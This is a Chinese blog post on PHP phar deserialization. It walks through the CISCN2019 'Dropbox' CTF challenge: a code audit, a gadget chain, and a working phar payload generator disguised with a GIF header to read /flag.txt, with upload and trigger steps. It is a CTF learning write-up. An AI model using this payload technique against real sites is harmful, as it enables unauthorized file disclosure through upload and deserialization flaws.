phar相关安全知识总结 - 简书 (jianshu.com)
phar功能
压缩文件,将内容序列化存储
生成phar代码:
#注意:要将php.ini中的phar.readonly选项设置为Off,并删除前面的;,否则无法生成phar文件。
<?php
class User{
public $name='khaz';
function __destruct(){
echo "destruct";
}
}
$phar = new Phar("test.phar");//生成的压缩文件名为test.phar
$phar->startBuffering();
//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");
//将自定义的meta-data存入manifest
$a = new User();
$phar->setMetadata($a);
//添加要压缩的文件
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>
用010打开生成的test.phar
关注stub和manifest
stub:phar识别标志,只要有了这个识别标志,即使后缀名不为phar,php仍能够将文件识别为phar文件
manifest:这一部分是我们可控的地方,是反序列化漏洞的关键点
存在的漏洞
-
phar中manifest是用户自定义的
-
php一大部分的文件系统函数在通过
phar://
伪协议解析phar文件时,都会将meta-data进行反序列化.<?php class User{ public $name; function __destruct(){ echo "destruct"; } } $a="phar://test.phar"; file_get_contents($a); ?>
受到影响的函数
利用条件
-
phar文件要能够上传到服务器端。
-
要有可用的魔术方法作为“跳板”。
-
文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤。
buu复现–[CISCN2019 华北赛区 Day1 Web1]Dropbox
打开是登录页面,要么目标就是登录上去,要么就是登录后的功能有问题。
先找注册界面,有注册界面,那应该就是登陆后的功能有问题。
有一个文件上传,下载,删除功能。经测试,文件下载部分存在任意文件下载漏洞,通过此漏洞得到源码。
代码审计:
因为buu上有phar标签,所以知道考的是phar。
反着找,先找文件函数
class.php下
return file_get_contents($this->filename);
File::close调用了file_get_contents($this->filename)触发phar反序列化
所以要构造filename=flag所在路径
再看哪里调用了close方法:
-
download.php
21,17: echo $file->close(); 但是这里限制了目录访问并过滤了flag,所以不能利用 ini_set("open_basedir", getcwd() . ":/etc:/tmp"); if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false)
-
class.php
User::destruct
57,20: $this->db->close();
所以猜测要让$db为File对象
正着找
-
index.php
$a = new FileList($_SESSION['sandbox']); $a->Name(); $a->Size(); 首先实例化了FileList类,然后调用了这个类中的Name和Size方法,但是FileList类中没有这两个方法,那么就会调用 __call魔术方法
-
查找FileList类是否有call方法
Filelist::call: public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } __call方法的参数$func是被调用的不存在的方法名 关注$file->$func(),调用了$func()
-
$file是什么:往前看
foreach ($filenames as $filename) { //知道$file是File对象 $file = new File(); $file->open($path . $filename); //知道files存放path下的所有文件对象($filenames = scandir($path);) array_push($this->files, $file); $this->results[$file->name()] = array(); }
-
回看call方法
public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { //results[文件名][方法名]=File::$func的结果 $this->results[$file->name()][$func] = $file->$func(); } }
所以Filelist::call就是当Filelist对象调用的方法不在Filelist类时,将该方法用File类重载,并把执行结果保存到Filelist.results中。
所以如果Filelist对象调用了close方法,就相当于调用了File.close()。
所以$db应该为Filelist对象,这样就可以调用File.close() -
继续向下看
public function __destruct()中关注 foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } 将方法结果保存到value即table中 最后echo $table;就相当于echo file_get_contents($filename);
-
到这里思路就清晰了。
我们让User类中的$db为Filelist对象,当$db销毁时触发User::destruct()方法,就会调用close方法,但是Filelist::close不存在,就会触发Filelist::call,从而调用File::close,执行file_get_contents($filename),最后将结果返回输出。
payload
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files = array();
$this->results = array();
$this->funcs = array();
$file = new File();
$file->filename = '/flag.txt'; # 这里的flag.txt是多次猜测出来的
array_push($this->files, $file);
}
}
#让User类中的$db为Filelist对象
$user = new User();
$filelist = new FileList();
$user->db = $filelist;
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($user); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
最后将生成的phar.phar上传(直接修改文件后缀名后上传或者抓包修改content-type)为phar.gif,然后使用phar协议访问文件,有两个地方可以访问,download.php和delete.php,前面分析过dowmload.php对目录和文件名作了限制,所以使用delete.php来进行访问。